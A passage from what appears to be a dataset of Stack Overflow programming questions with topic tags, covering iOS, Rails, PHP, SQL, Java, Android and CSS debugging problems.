: 1991                 }  {                    name :  cap making machinery parts                      id : 1992                 }  {                    name :  glove making machinery parts                      id : 1993                 }  {                    name :  sock knitting machinery parts                      id : 1997                 }  {                    name :  textile machinery parts                      id : 1998                 }               ]             }  {                id :  1990                  name :  machinery parts                  category : [                 {                    name :  apparel machinery parts                      id : 1991                 }  {                    name :  cap making machinery parts                      id : 1992                 }  {                    name :  glove making machinery parts                      id : 1993                   {                    name :  sock knitting machinery parts                      id : 1997                 }  {                    name :  textile machinery parts                      id : 1998                 }               ]             }  {                id :  1990                  name :  textile machinery parts                  category : [                 {                    name :  machinery parts                      id : 1991                 }  {                    name :  cap making machinery parts                      id : 1992                 }  {                    name :  glove making machinery parts                      id : 1993                 }  {                    name :  home textile product machinery parts                      id : 1994                 }  {                    name :  leather production machinery parts                      id : 1995                 }  {                    name :  shoemaking machinery parts                      id : 1996                 }  {                    name :  sock knitting machinery parts                      id : 1997                 }  {                    name :  textile machinery parts                      id : 1998                 }               ]             }  {                id :  136                  name :  apparel                  category : [                 {                    name :  apparel design services                      id : 137                 }  {                    name :  apparel processing services                      id : 138                   {                    name :  garment accessories                      id : 171                 }  {                    name :  hoodies \u0026 sweatshirts                      id : 198                 }  {                    name :  hosiery                      id : 199                 }  {                    name :  infant \u0026 toddlers clothing                      id : 205                 }  {                    name :  jackets                      id : 221                 }  {                    name :  jeans                      id : 222                 }  {                    name :  ladies blouses \u0026 tops                      id : 223                 }  {                    name :  mannequins                      id : 224                 }  {                    name :  maternity clothing                      id : 225                 }  {                    name :  men s shirts                      id : 226                 }  {                    name :  other apparel                      id : 227                 }  {                    name :  pants \u0026 trousers                      id : 228                 }  {                    name :  sewing supplies                      id : 229                 }  {                    name :  shorts                      id : 234                 }  {                    name :  skirts                      id : 235                 }  {                    name :  sleepwear                      id : 236                 }  {                    name :  sportswear                   {                    name :  used clothes                      id : 294                 }  {                    name :  vests \u0026 waistcoats                      id : 295                 }  {                    name :  wedding apparel \u0026 accessories                      id : 296                 }  {                    name :  work wear                      id : 302                 }               ]             }           ];           console.log(scope.items   itwe sss );         };       }     }   }]); </code></pre>,angularjs
view doesn t appear if displayed in response to a notification but does otherwise  i have a view i want to display on a certain event. my view controller is listening for a broadcast notification sent by the model and it attempts to display the view when it receives the broadcast.     however the view is not appearing. but if i run the exact same view code from elsewhere within the view controller then it will be displayed. here s some code from the vc to illustrate:   <pre><code>- (void) displayrequestdialog {     myview *view = (myview*)[[[nsbundle mainbundle] loadnibnamed:@ myview  owner:self options:nil] objectatindex:0];     view.backgroundcolor = [uicolor lightgraycolor];     view.center = self.view.window.center;     view.alpha = 1.0;     [self.view addsubview:view]; }  - (void) requestreceived: (nsnotification*) notification {     [self displayrequestdialog]; } </code></pre>   when the above code is run the view does not appear. however if i add the call to displayrequestdialog elsewhere  for example to viewdidappear:   <pre><code>- (void) viewdidappear {     [self displayrequestdialog]; } </code></pre>   then it is displayed.     my question therefore obviously is why can i get the view to successfully appear if i call displayrequestdialog from viewdidload  but it will not display if called from within requestreceived     (note that i am not calling requestreceived prematurely before the view controller / its view has loaded and displayed)    at first i was posting the notification like this:   <pre><code>[[nsnotificationcenter defaultcenter] postnotificationname: kmyrequestreceived                                                             object: self                                                           userinfo: dictionary]; </code></pre>   then i tried this:   <pre><code>nsnotification *notification = [nsnotification notificationwithname:kmyrequestreceived object:self userinfo:dictionary];     nsnotificationqueue *queue = [nsnotificationqueue defaultqueue];     [queue enqueuenotification:notification postingstyle:nspostwhenidle];  </code></pre>   then i tried this:   <pre><code>dispatch_async(dispatch_get_main_queue() ^{     [[nsnotificationcenter defaultcenter] postnotificationname: kmyrequestreceived                                                         object: self                                                       userinfo: dictionary]; }); </code></pre>   then i tried this:   <pre><code> [self performselectoronmainthread:@selector(postnotificationonmainthread:) withobject:dictionary waituntildone:no];  - (void) postnotificationonmainthread: (nsdictionary*) dict {     [[nsnotificationcenter defaultcenter] postnotificationname: kmyrequestreceived                                                         object: self                                                     userinfo: dict]; } </code></pre>   and i have tried invoking displayrequestdialog like this:   <pre><code>dispatch_async(dispatch_get_main_queue() ^{         [self displayrequestdialog]; }); </code></pre>  <hr>   i have found the cause of the view not displaying - the frame s origin is getting negative values when invoked via the notification code but positive values when invoked otherwise and thus was being displayed off the screen. no idea why there should be a difference however.,ios
issue with nsurlcomponents when building a querystring  i get this error:   <pre><code>-[__nscfnumber stringbyaddingpercentencodingwithallowedcharacters:]: unrecognized selector sent to instance 0x7fab88c21750         </code></pre>   and i get it with this code:   <pre><code>+ (nsstring *)querystringfromdictionary:(nsdictionary *)querydictionary {     nsurlcomponents *components = [nsurlcomponents componentswithstring:@  ];     nsmutablearray *urlquerycomponents = [nsmutablearray array];      for (nsstring *key in [querydictionary allkeys])     {         nsstring *value = querydictionary[key];         nsurlqueryitem *newqueryitem = [nsurlqueryitem queryitemwithname:key value:value];         [urlquerycomponents addobject:newqueryitem];     }      components.queryitems = urlquerycomponents; // here i get the error     return [components query]; } </code></pre>   in the case where i got the error my querydictionary looked like this:   <pre><code>{     lat =  49.3437442 ;     lng =  17.0571453 ;     username = demo; } </code></pre>   another time when my querydictionary looked like following  it worked fine!   <pre><code>{     latlng =  49.343744 17.057145 ;     sensor = true; } </code></pre>   so i can t understand the issue or how i can fix it. any ideas,ios
any way to get my hover transitions to fully animate when tapped to load a page on ios11   so far when i tap a button or link with a hover transition animation that loads a new page  the hover transition stops as soon as the user lifts their fingers on ios. is there a way to get it to animate fully even if the user lifts their fingers prematurely  they work like i want them on android phones. an example can be seen here when pressing the book online button on an iphone as it does not turn fully white but stops transitioning as soon as the finger is lifted:    <a href= https://ld-wp.template-help.com/wordpress_62222_resto/  rel= nofollow noreferrer >https://ld-wp.template-help.com/wordpress_62222_resto/</a>    i m unsure of how to get the intended behavior i want through css or javascript.,ios
rails + heroku : smtp error for mailer (net::smtpauthenticationerror (535-5.7.1)   but only sometimes   i have an app where when users register they get a confirmation email set to them.    here s the users controller create action:   <pre><code>def create   @user = user.new(params[:user])    respond_to do |format|     if @user.save       usermailer.registration_confirmation(@user).deliver       log_in(@user)       format.html { redirect_to @user  notice:  welcome to pholder  #{@user.name}!  }       format.json { render json: @user  status: :created  location: @user }     else       format.html { render action:  new  }       format.json { render json: @user.errors  status: :unprocessable_entity }     end   end end </code></pre>   as you can see after @user.save there is a mailer. however  a person just told me he got an error ( we re sorry  something went wrong ) on heroku after trying to register  so i tried it myself and also got an error   <pre><code>2012-11-16t17:21:28+00:00 app[web.1]: net::smtpauthenticationerror (535-5.7.1 please log in with your web browser and then try again. learn more at 2012-11-16t17:21:28+00:00 app[web.1]: ): </code></pre>   after looking around my code  i tried making another user but this time it worked. does anyone know why  i read in another post that this could be because it ll fail if too many users register at once (since too many emails are sent)  but i don t think anyone was registering at that point since not many people know about my app.    smtp settings:   <pre><code>config.action_mailer.delivery_method = :smtp config.action_mailer.smtp_settings = {   :address              =&gt;  smtp.gmail.com     :port                 =&gt; 587    :domain               =&gt;  pacific-ravine-3563.herokuapp.com     :user_name            =&gt; env[ email ]    :password             =&gt; env[ password ]    :authentication       =&gt;  plain     :enable_starttls_auto =&gt; true }  config.action_mailer.default_url_options = { :host =&gt;  pacific-ravine-3563.herokuapp.com  } </code></pre>,ruby-on-rails
uiview with touchesmoved event for scrolling uiimages from web   actually i need a uiview on which touch moved event will be attached and i need that when we swipe left and right the images should be downloaded from web and should be displayed on uiview  only one full image will be displayed on this uiview.    second thing which i need is that when user viewing any image then their next and previous images should be downloaded  for fast viewing on images.    let me know if i am not able to convey my question s message to u.    thanks in advance to all my great developers friends.,iphone
something like sql  like  but in php  i have few url in my database  it goes like:    id  url   <pre><code>1 http://test.com/embed-990.html 2. http://test2.com/embed-011.html 3. http://test3.com/embed-022.html </code></pre>   how i could make a simple php code if one of url doesn t exist in database  just to load another  i need to check these url by domain as well.    for example something like this:   <pre><code>if($data[ url ] ==  test.com ) {  echo  my embed code number 1 ; } elseif($data[ url ] ==  test2.com ) {  echo  my another embed code ; } </code></pre>,php
maintaining tables based on column value of other tables  i got a situation like i need to create tables based on column value of parent table.here is the scenario    i have dynamic input table where the users can define the control they want to have them in pages.right now the table is all the properties for each control.for example if i want to enable the user to add textbox and checkbox the table will have the fields like    <strong>common fields</strong>   <ul> <li>inputid</li> <li>inputname</li> <li>type ( textbox/checkbox)</li> <li>label</li> </ul>   <strong>textbox spec. fields</strong>   <ul> <li>text </li> <li>multiline</li> <li>maxlength</li> <li>isnumbersonly</li> </ul>   <strong>checkbox spec. fields</strong>   <ul> <li>isdefaultchecked</li> <li>checkboxtext</li> <li>groupid - if i want to have multiple check boxes in a group</li> </ul>   the above one is just for sample. like this i would like to have many controls dropdown listbox etc. am bit confused to redefine the tables for maintaining this information. one option is to define the tables as follow    <strong>inputtable</strong>   <ul> <li>inputid</li> <li>inputname</li> <li>type ( textbox/checkbox)</li> <li>label</li> </ul>   <strong>textboxtable</strong>   <ul> <li>inputid</li> <li>and all the textbox related fields</li> </ul>   <strong>checkboxtable</strong>   <ul> <li>inputid</li> <li>and all the checkbox related fields</li> </ul>   and so on..    is this a better approach to maintain values in table based on column value of other table (in this case inputtable). or is there any better approach to do the same.    please let me know if you have any better ideas..    thanks in advance.,sql
comparing integer objects vs int  i fixed an endless loop by changing integer to int in the following:   <pre><code>public class inttest {     public static void main(string[] args) {         integer x=-1;         integer total=1000;          while(x != total){             system.out.println( x =  + x +  total = + total);             x++;         }     } } </code></pre>   what is the proper reason for this   i figured integer would compare no problem.    thanks.,java
multiple controls in uiview using ib  how can i create multiple controls (such as uiswitch) in a uiview (or on top of uiscrollview) using the interface builder  i have about 20 such controls.    appreciate any pointers.,iphone
skip first letters of all values returned from a sql server database  as topic says  i don t want to return the first two letters in the return values just an example: select companyname from companies  returns companyx    can i write a query that returns panyx instead     thanks in advance,sql
what does the symbol ^ mean in objective-c  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1912023/caret-in-objective-c >caret in objective c</a>    </blockquote>     i just want to know what this ^ symbol means in objective-c.,objective-c
get in input from another windows form in c#  i have a windows forms application and i need to get an input from user. i decided to use another form. the code in my main windows form like that :   <pre><code>inputpage p = new inputpage(); p.visible = true; vband = p.getvaluedouble(); </code></pre>   my second form ( where i get the input from the user ) is simple. it contains only a label  textbox and ok button. my problem is  i want to call getvaluedouble function (3rd line of the code above) after when we are sure that user enter the value and press the ok button. so how can i do this  thanks..,c#
contacts framework - fetching email field in objective c  i am trying to fetch needed fields from the contacts  using the contact framework. all needed fields are properly fetched  except the email.  if there is one contact without an email recorded  then the entire app crashes.  if all contacts have an email defined  all works well.  i have a class called <code>contaclist</code> in which a method <code>fetchcontactsfromcontactsframework</code> is defined as follows:   <pre><code>-(void)fetchcontactsfromcontactsframework{      contactstore = [[cncontactstore alloc] init];      nsarray *keytofetch = @[cncontactemailaddresseskey cncontactfamilynamekey cncontactgivennamekey cncontactphonenumberskey cncontactpostaladdresseskey cncontactthumbnailimagedatakey cncontactorganizationnamekey];       cncontactfetchrequest *fetchrequest = [[cncontactfetchrequest alloc] initwithkeystofetch:keytofetch];      [contactstore enumeratecontactswithfetchrequest:fetchrequest error:nil usingblock:^(cncontact * _nonnull contact  bool * _nonnull stop) {         [groupsofcontact addobject:contact];     }];      phonenumberarray = [@[] mutablecopy];     nsdictionary *peopledic;     for (cncontact *contact in groupsofcontact) {         nsarray *thisone = [[contact.phonenumbers valueforkey:@ value ] valueforkey:@ digits ];          peopledic = @{@ name :contact.givenname                        @ familyname :contact.familyname                        @ company :contact.organizationname                        @ image :contact.thumbnailimagedata != nil   contact.thumbnailimagedata:@                          @ email :contact.emailaddresses.firstobject != nil   contact.emailaddresses.firstobject:@                          @ phone :thisone                        @ selected :@ no                        };          [phonenumberarray addobject:peopledic];     }      totalphonenumberarray = [phonenumberarray mutablecopy]; } </code></pre>   i am then using the array totalphonenumberarray in my peopletableviewcontroller where i want to have access to the fetched information. in this i have created a method fetchedcontacts  that loos like:   <pre><code> - (void)fetchcontacts{     [[contactlist sharedcontacts] fetchallcontacts]; //fetch all contacts by calling single method thanks to class  contactlist      nsarray *contactsarray = [[nsarray alloc]init];     _arrayofcontacts = [[nsmutablearray alloc]init]; //this will be the edited array to pass to the next viewcontroller     contactsarray = [[contactlist sharedcontacts]totalphonenumberarray];//fetched original array now has local name  contactsarray       if (contactsarray.count !=0) {          for (int i=0; i&lt;contactsarray.count; i++) {             nsmutablearray *person = [[nsmutablearray alloc]init];//person array will hold 6 properties...              uiimage *contactpic = [uiimage imagewithdata:[[contactsarray objectatindex:i] valueforkey:@ image ]]  : [uiimage imagenamed:@ noperson.png ];              [person addobject:contactpic];             [person addobject:[[contactsarray objectatindex:i] valueforkey:@ name ]];             [person addobject:[[contactsarray objectatindex:i] valueforkey:@ familyname ]];             [person addobject:[[contactsarray objectatindex:i] valueforkey:@ company ]];             [person addobject:[[contactsarray objectatindex:i] valueforkey:@ phone ]];               cnlabeledvalue *emailvalue = [[contactsarray objectatindex:i]valueforkey:@ email ]  :[[cnlabeledvalue alloc]initwithlabel:@ email  value:@  ];              //[person addobject:@ no email ];             [person addobject:emailvalue.value];              //person array now has the form:{image name familyname company phone email}              [_arrayofcontacts addobject:person];//arrayofcontacts holds all  persons  fetched from main contactsarray...         }      }  } </code></pre>   as i explained already  this works perfectly  unless one person has an empty email field  in which case it crashes...i have tried so many things: turning the <code>cnlabeledvalue</code> *emailvalue to a <code>nsstring</code>  testing for the length of that string  to no avail.  any help will be so much appreciated...,objective-c
relative positioning multiple divs same class  when you have multiple divs with the same class that stack vertically on each other. how come setting the position to relative and offsetting the top to say 200px only moves the first div down by 200px. the rest of the divs (which are under the same class) dont get pushed down by 200px   <pre><code>.question {   margin: 120px auto;   text-align: center;   position: relative;   top: 200px; } </code></pre>   the margins on all the divs in the  question  class are respected but the position offset by 200px only applies to the first div with the question class. why,css
hide view s navigation bar when a child view performs push segue  i have a paged  horizontal pageviewcontroller used for a swipe-based interface. in one of these views is a navigation controller which segues to a second detail view.    when the second view appears i would like to hide the parent view s navigation bar but i don t know how to access any method on the parent view.    i imagine it would look something like this in the detail view    <pre><code>-(void)viewwillappear {     [parentviewclassnamehere setnavigationbarhidden:yes]; } </code></pre>   how would one go about setting up an accessible method on the parent,objective-c
include null and zero in count() from related table  i would like to list in table (<em>staging</em>) the number of related records from table (<em>studies</em>).     so far this statement works well but returns only the rows where there are >0 related records:   <pre><code>select staging.*   count(studies.pmid) as refcount  from studies left join staging on studies.rs_number = staging.rs group by staging.idstaging; </code></pre>   how can i adjust this statement to list all rows in table (<em>staging</em>) including where there are zero or null related records from table (<em>studies</em>)     thank you,mysql
php exec() return code is -1 when in a forked process  but 0 in a normal script  i am using exec() inside a a script that runs as a daemon and forks child processes using the pear class net_server.     i am getting a strange issue whereby the return code (the third param of of exec) comes back as -1. when i run the command on the command line  or with exec in a normal php script the return code is 0 as it should be. anyone have any idea why this is happening  and how to fix it,php
open view with slide effect from top to bottom on iphone  i m making an application for iphone  and i want that when i touch a button it opens a view with a slide effect when you touch from the top to the bottom of the screen. the view is in the same xib file as the button...advance thanks,iphone
divide sequence elements into pairs  i have a sequence of 16 elements: 1 2 3 ...  16 ( or 2*n elements). sequence elements always goes from 1 to length(sequence) that is sequence of 4 elements is 1 2 3 4.    <strong>edit</strong>: first sequence element is always = 1  second sequence element = 2  third sequence element = 3 and so on. <strong>it s for a game  find a pair pictures </strong>.    i want to write an algorithm which divide elements into pairs. for example  1-15 2-16 3-13 4-9 5-14 6-10 7-11 8-12    ps: no linq please :) vs2005    <strong>edit</strong>: as i can see  my question is so simple so no one can answer it :) or everybody afraid something,c#
how to interrupt console.in.readline in .net   i have a console app which reads lines infinitely with console.in.readline() on one thread and sends them for processing to other threads through an iobservable (reactive extensions).    when the application has to close i want to close the input stream with console.in.close() from a second thread and expect an ioexception in the first thread.     the problem is that after running console.in.close() the readline call is not interrupted.    why doesn t this work  how can i interrupt the readline,.net
index error :python  i m a beginner in python programming.the following code while compiling gives an error:   <pre><code>t_[j] = line[1] indexerror: list index out of range </code></pre>   please help   <pre><code>i=104 l=i+92 p_=dict() t_=dict() z_=dict() h2o_vmr_=dict() o3_vmr_=dict() cov_h2o_vmr_=dict() with open( chevallierl91_clear_q.txt ) as f:   for j in range(2 5000):     for line in itertools.islice(f  i  l):         line=line.split()         p_[j] = line[0]         t_[j] = line[1]         z_[j] = line[2]         h2o_vmr_[j] = line[3]         o3_vmr_[j] = line[4]         cov_h2o_vmr_[j]=np.cov(h2o_vmr_[j])         print h2o_vmr_[j]     i=l+2     l=i+92 </code></pre>,python
move one controller s path under root namespace  i copied the following pages in <code>welcome</code> controller   <pre><code>views/welcome/about.haml views/welcome/brand.haml views/welcome/brand_detail.haml views/welcome/contact.haml views/welcome/download.haml views/welcome/faq.haml views/welcome/news.haml views/welcome/news_detail.haml views/welcome/product.haml views/welcome/product_detail.haml </code></pre>   now i write my route in this way   <pre><code>  get  welcome/index    get  welcome/about  </code></pre>   it seems repeat the <code>welcome</code> many times and the namespace is not under root.,ruby-on-rails
limit number of results for glob directory/folder listing  how would i go about limiting the number of directory results/pdfs to  say 8  in the following code    <pre><code>$counter = 0;  foreach (glob( /directory/*.pdf ) as $path) { //configure path     $docs[filectime($path)] = $path; }  krsort($docs); // sort by key (timestamp)                foreach ($docs as $timestamp =&gt; $path) {     echo  &lt;li&gt;&lt;a href= /directory/ .basename($path).   class=  .($counter%2  light-grey :  ).   target= _blank &gt; .basename($path). &lt;/a&gt;&lt;/li&gt; ;     $counter++;                      } </code></pre>   this is probably really easy but i can t seem to be able figure it out - thanks in advance  s.,php
can i see php code on my own server   php is a server side scripting language.. so  if i make my pc work as a server in a network  will i be able to see the php code executed on my machine  as html is seen on all client pc s,php
using jquery :gt() with $(this)  i have an issue with using <code>$(this)</code> and <code>:gt()</code> together.    i m trying to convert this pseudo code into working code:   <pre><code>$(this).children().gt(3).show(); </code></pre>   will this work  i am trying to show the children of this with an index over 3.,jquery
securely storing data  how do apps do it   i m doing some research on a new project we want to work on  but before we actually take on the project i have some concerns.    this project involves storing a lot of (text) data somewhere on a server  you can think about it like instagram (but without photos). so you can follow people  view profiles  list of activity ...    the question is  how do these apps send all this data securely to a server  and what kind of server do they use  something like amazon aws,ios
searching text and use setfindlistener for a webview  i want to searching a text inside webview. when searching end . if the text inside webview : tosat  yes ; if not toast  no . i use below code:   <pre><code>      int api = android.os.build.version.sdk_int; if(api &lt; 16) {     deleteaccount.web.findall( sorry  too many tries );     } else {     deleteaccount.web.findallasync( sorry  too many tries );     } deleteaccount. web.setfindlistener(new findlistener() {          @override         public void onfindresultreceived(int activematchordinal  int number_match  boolean isdonecounting) {          if(number_match!=0)               toast.maketext(base_context   yes   toast.length_long).show();         else    //....      }); </code></pre>   but when give error :   <pre><code>      11-22 15:11:59.655: e/androidruntime(2215): fatal exception: main    11-22 15:11:59.655: e/androidruntime(2215):    java.lang.noclassdeffounderror: com.example.doctortelegram.mytimer$2 </code></pre>   i think the does not understand below methods in api 16   <pre><code>   web.setfindlistener.... </code></pre>,android
asp.net tooth charting components   just wondering if any of you have idea how to display tooth charts (dental related) in asp.net. any links/references would be helpful. thanks n,asp.net
rails server error   during first start  i new in rails   so i have silly question  while starting rails server i ve got this mistake   <pre><code>rails s /var/lib/gems/1.8/gems/execjs-1.4.0/lib/execjs/runtimes.rb:51:in `autodetect : could not find a javascript runtime. see https://github.com/sstephenson/execjs for a list of available runtimes. (execjs::runtimeunavailable)     from /var/lib/gems/1.8/gems/execjs-1.4.0/lib/execjs.rb:5     from /var/lib/gems/1.8/gems/coffee-script-2.2.0/lib/coffee_script.rb:1:in `require      from /var/lib/gems/1.8/gems/coffee-script-2.2.0/lib/coffee_script.rb:1     from /var/lib/gems/1.8/gems/coffee-script-2.2.0/lib/coffee-script.rb:1:in `require      from /var/lib/gems/1.8/gems/coffee-script-2.2.0/lib/coffee-script.rb:1     from /var/lib/gems/1.8/gems/coffee-rails-3.2.2/lib/coffee-rails.rb:1:in `require      from /var/lib/gems/1.8/gems/coffee-rails-3.2.2/lib/coffee-rails.rb:1     from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:68:in `require      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:68:in `require      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:66:in `each      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:66:in `require      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:55:in `each      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler/runtime.rb:55:in `require      from /var/lib/gems/1.8/gems/bundler-1.2.3/lib/bundler.rb:128:in `require      from /home/gorysko/rails/rails_project/first_app/config/application.rb:7     from /var/lib/gems/1.8/gems/railties-3.2.9/lib/rails/commands.rb:53:in `require      from /var/lib/gems/1.8/gems/railties-3.2.9/lib/rails/commands.rb:53     from /var/lib/gems/1.8/gems/railties-3.2.9/lib/rails/commands.rb:50:in `tap      from /var/lib/gems/1.8/gems/railties-3.2.9/lib/rails/commands.rb:50     from script/rails:6:in `require      from script/rails:6 </code></pre>   but all installation was made as in book written and all dependencies are good too,ruby-on-rails
php: exploding array elements  i have a 2d array which i have exploded from a string. once it has exploded this is what is output:   <pre><code>---&gt; 0 - 16~4~0.0~~~~false~~~~  ---&gt; 1 - 1000.0~21.75~l~1~2.0~2.0~l~2~  ---&gt; 2 -  ---&gt; 0 - 2~5~951.3~6.4~~~false~~~~  ---&gt; 1 - 1000.0~11.77~l~1~  ---&gt; 2 -  ---&gt; 0 - 3~6~1269.02~5.1~~~false~~~~  ---&gt; 1 - 5.0~213.66~l~1~4.9~2.56~l~2~4.6~19.5~l~3~  ---&gt; 2 - 5.1~53.44~b~1~5.4~8.48~b~2~5.5~15.53~b~3~  </code></pre>   i want to make it so that for each position in the array it only takes the first value before the ~. i am unsure how to do this. this is the code i have so far:   <pre><code>$test = explode( :   $string); foreach($test as &amp;$value) $value = explode( |   $value); </code></pre>   just in case you need it this is the original string input:   <blockquote>    1~1~828.32~12.5~~~false~~~~|1000.0~41.73~l~1~2.0~2.0~l~2~|:4~2~4.16~12.5~~~false~~~~|1000.0~21.75~l~1~2.0~2.0~l~2~|:9~3~0.16~24.0~~~false~~~~|1000.0~21.75~l~1~2.0~2.0~l~2~|:16~4~0.0~~~~false~~~~|1000.0~21.75~l~1~2.0~2.0~l~2~|:2~5~951.3~6.4~~~false~~~~|1000.0~11.77~l~1~|:3~6~1269.02~5.1~~~false~~~~|5.0~213.66~l~1~4.9~2.56~l~2~4.6~19.5~l~3~|5.1~53.44~b~1~5.4~8.48~b~2~5.5~15.53~b~3~:8~7~111.92~7.0~~~false~~~~|6.8~6.78~l~1~6.6~148.39~l~2~6.4~3.7~l~3~|7.6~128.0 ...  </blockquote>   i would like the output to be:   <pre><code>---&gt; 0 - 16  ---&gt; 1 - 1000.0 ---&gt; 2 -  ---&gt; 0 - 2 ---&gt; 1 - 1000.0 ---&gt; 2 -  ---&gt; 0 - 3 ---&gt; 1 - 5.0  ---&gt; 2 - 5.1  </code></pre>,php
positioning elements relative to some ancestor but not necessarily the direct parent   i needed the items in an array of elements to contain 2 things: one element that would be in the regular flow of things and another that was absolute relative to the array container. fiddling around with position: relative/absolute/fixed  i stumbled on this:    html:   <pre><code>&lt;div class= maincontainer &gt;      &lt;div class= flexitem &gt;         stuff1         &lt;div class= itemcontent  style= color:blue &gt;             i m positioned absolutely  relative to the main container         &lt;/div&gt;     &lt;/div&gt;      &lt;div class= flexitem &gt;         stuff2         &lt;div class= itemcontent  style= color:red &gt;             i m positioned absolutely  relative to the main container too!         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   css:   <pre><code>.maincontainer {     width:60%;     margin-left:20%;     position:relative;     border:1px solid black;     display:flex;     justify-content:space-around; }  .flexitem {     position:static; }  .itemcontent {     position:absolute;     left:0px;     top:20px; } </code></pre>   <a href= https://jsfiddle.net/ruzexo2r/  rel= nofollow >https://jsfiddle.net/ruzexo2r/</a>    its as if an element with position:absolute has any parent with position:relative with nothing in between but position:fixed then they behave just like the absolute/relative elements were immediately related. i didn t find an explicit confirmation about this behavior though so i m asking whether or not i can count on that to keep on working,css
"my links shift to the left when clicked  i m designing a website and having a problem with my links. when i click on them they shift to the left. sometimes this prevents them from actually being clickable. i have not been able to find a single solution through googling and have no idea what part of my code is causing this. any help would be appreciated.    <a href= http://www.thefilterconnection.com/shopsite_sc/store/html/lee_seven5_holders_adapter_rings.html  rel= nofollow >website</a>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>body {
  margin-top: 0px;
  margin-right: 0px;
  margin-bottom: 0px;
  margin-left: 0px;
  color: #151515;
  font-family: gotham   helvetica neue   helvetica  arial  sans-serif;
  background-color: #f9f9f9;
  font-style: normal;
  font-variant: normal;
  font-weight: lighter;
  font-size: small;
  list-style-type: none;
  text-align: center;
 }
  #header {
  background-color: #171717;
  float: left;
  text-align: center;
  height: 75px;
  width: 100%;
 }
  #header1 {
  padding-top: 21px;
  background-color: #171717;
  width: 20%;
  float: left;
  text-align: center;
 }
 
  #header2   {
  background-color: #171717;
  float: left;
  text-align: center;
  width: 20%;
  padding-top: 33px;
  font-size: 11px;
 }
  #header2 ul {
  list-style-type: none;
  margin-top: 0px;
  margin-right: 0px;
  margin-bottom: 0px;
  margin-left: 0px;
  padding-left: 0px;
  padding-top: 0px;
  padding-right: 0px;
  padding-bottom: 0px;
  background-color: undefined;
  font-size: small;
 }
  #header2 a {
  width: 20%;
  display: block;
  float: left;
  text-align: center;
  font-size: 11px;
  font-weight: bold;
  text-decoration: none;
  color: #cccccc;
 }
  #header2 a:hover   a:active  a:focus{
  text-decoration: none;
  color: #ffffff;
  float: left;
 }
 
  #header3 {
  float: left;
  width: 20%;
  text-align: center;
  font-size: 11px;
  padding-top: 23px;
  font-weight: bold;
  -webkit-box-shadow: 0px 0px;
  box-shadow: 0px 0px;
  }
  #search {
  width: 15%;
 }
  #search input[type= text ] {
  background-repeat: no-repeat;
  background-position: 10px 6px;
  background-image: url(https://gray.secure-host.com/thefilterconnection/shopsite_sc/store/html/media/search-dark.png);
  background-color: #909090;
  border: 0 none;
  font: bold 12px arial helvetica sans-serif;
  color: #cccccc;
  padding-top: 6px;
  padding-bottom: 6px;
  -webkit-border-radius: 20px;
  -moz-border-radius: 20px;
  border-radius: 20px;
  text-shadow: 0 2px 2px rgba(0  0  0  0.3);
  -webkit-box-shadow: 0 1px 0 rgba(255  255  255  0.1)  0 1px 3px rgba(0  0  0  0.2) inset;
  -moz-box-shadow: 0 1px 0 rgba(255  255  255  0.1)  0 1px 3px rgba(0  0  0  0.2) inset;
  box-shadow: 0 1px 0 rgba(255  255  255  0.1)  0 1px 3px rgba(0  0  0  0.2) inset;
  -webkit-transition: all 0.7s ease 0s;
  -moz-transition: all 0.7s ease 0s;
  -o-transition: all 0.7s ease 0s;
  transition: all 0.7s ease 0s;
  padding-left: 35px;
     }
  #header4 {
  width: 20%;
  text-align: center;
  float: left;
  padding-top: 16px;
  font-size: 11px;
  font-weight: bold;
  color: #cccccc;
 }
  #header5 {
  width: 20%;
  background-color: #171717;
  text-align: center;
  padding-top: 13px;
  font-size: 11px;
  font-weight: bold;
  float: left;
  color: #cccccc;
 }
 
  #productmenucontainer {
  background-color: #171717;
  width: 100%;
  clear: both;
  float: center;
  height: 30px;
 }
  #productmenu {
  width: 100%;
  background-color: #171717;
  padding-top: 3px;
  text-align: center;
  right: auto;
  left: auto;
  max-width: 100%;
 }
  #container1 {
  float: left;
  width: 100%;
  background-color: #ebebeb;
  position: relative;
  right: 75%;
 }
  #container2 {
  float: left;
  width: 100%;
  background-color: #ffffff;
  overflow: hidden;
  position: relative;
 }
  #container3 {
  min-width: 740px;
  max-width: 1000px;
  margin-left: auto;
  margin-right: auto;
  clear: left;
  float: none;
  display: inline-block;
  -webkit-box-shadow: 1px 1px 5px 1px #dbdbdb;
  box-shadow: 1px 1px 5px 1px #dbdbdb;
  width: 100%;
 }
  #sidebar1 {
  float: left;
  width: 17%;
  position: relative;
  left: 75%;
  padding-left: 4%;
  padding-top: 2%;
  text-align: left;
  padding-bottom: 2%;
  padding-right: 4%;
 }
  #sidebar1 ul {
  list-style-type: none;
  margin-left: -25px;
  margin-top: 2px;
  float: left;
  width: 100%;
  text-align: left;
 }
  #main {
  float: left;
  width: 64%;
  position: relative;
  left: 75%;
  padding-left: 4%;
  padding-top: 2%;
  padding-bottom: 2%;
  padding-right: 4%;
 }
  #footer {
  background-color: #f9f9f9;
  font-weight: lighter;
  padding-top: 4px;
  font-size: 11px;
  text-align: center;
  clear: left;
  padding-bottom: 4px;
  color: #6c6c6c;
  min-width: 740px;
  max-width: 1000px;
  width: 100%;
  margin-right: auto;
  margin-left: auto;
  position: relative;
  display: inline-block;
 }
  #disclaimer   {
  text-align: center;
  float: left;
  width: 23%;
  padding-top: 5px;
  padding-bottom: 5px;
  padding-left: 1%;
  padding-right: 1%;
 }
  #creditcards {
  width: 35%;
  float: left;
  padding-top: 5px;
 }
  #share {
  width: 20%;
  text-align: center;
  float: left;
  padding-top: 5px;
 }
 
 
 
  #follow {
  float: left;
  padding-top: 5px;
  width: 20%;
 }
  #copyright {
  clear: left;
  float: left;
  text-align: center;
  padding-top: 5px;
  width: 100%;
  background-color: #626262;
  color: #f3f3f3;
  font-size: x-small;
  font-weight: bold;
  font-style: italic;
 }
 a:link {
  color: #575757;
  text-decoration: none;
  font-weight: bold;
  font-size: small;
 }
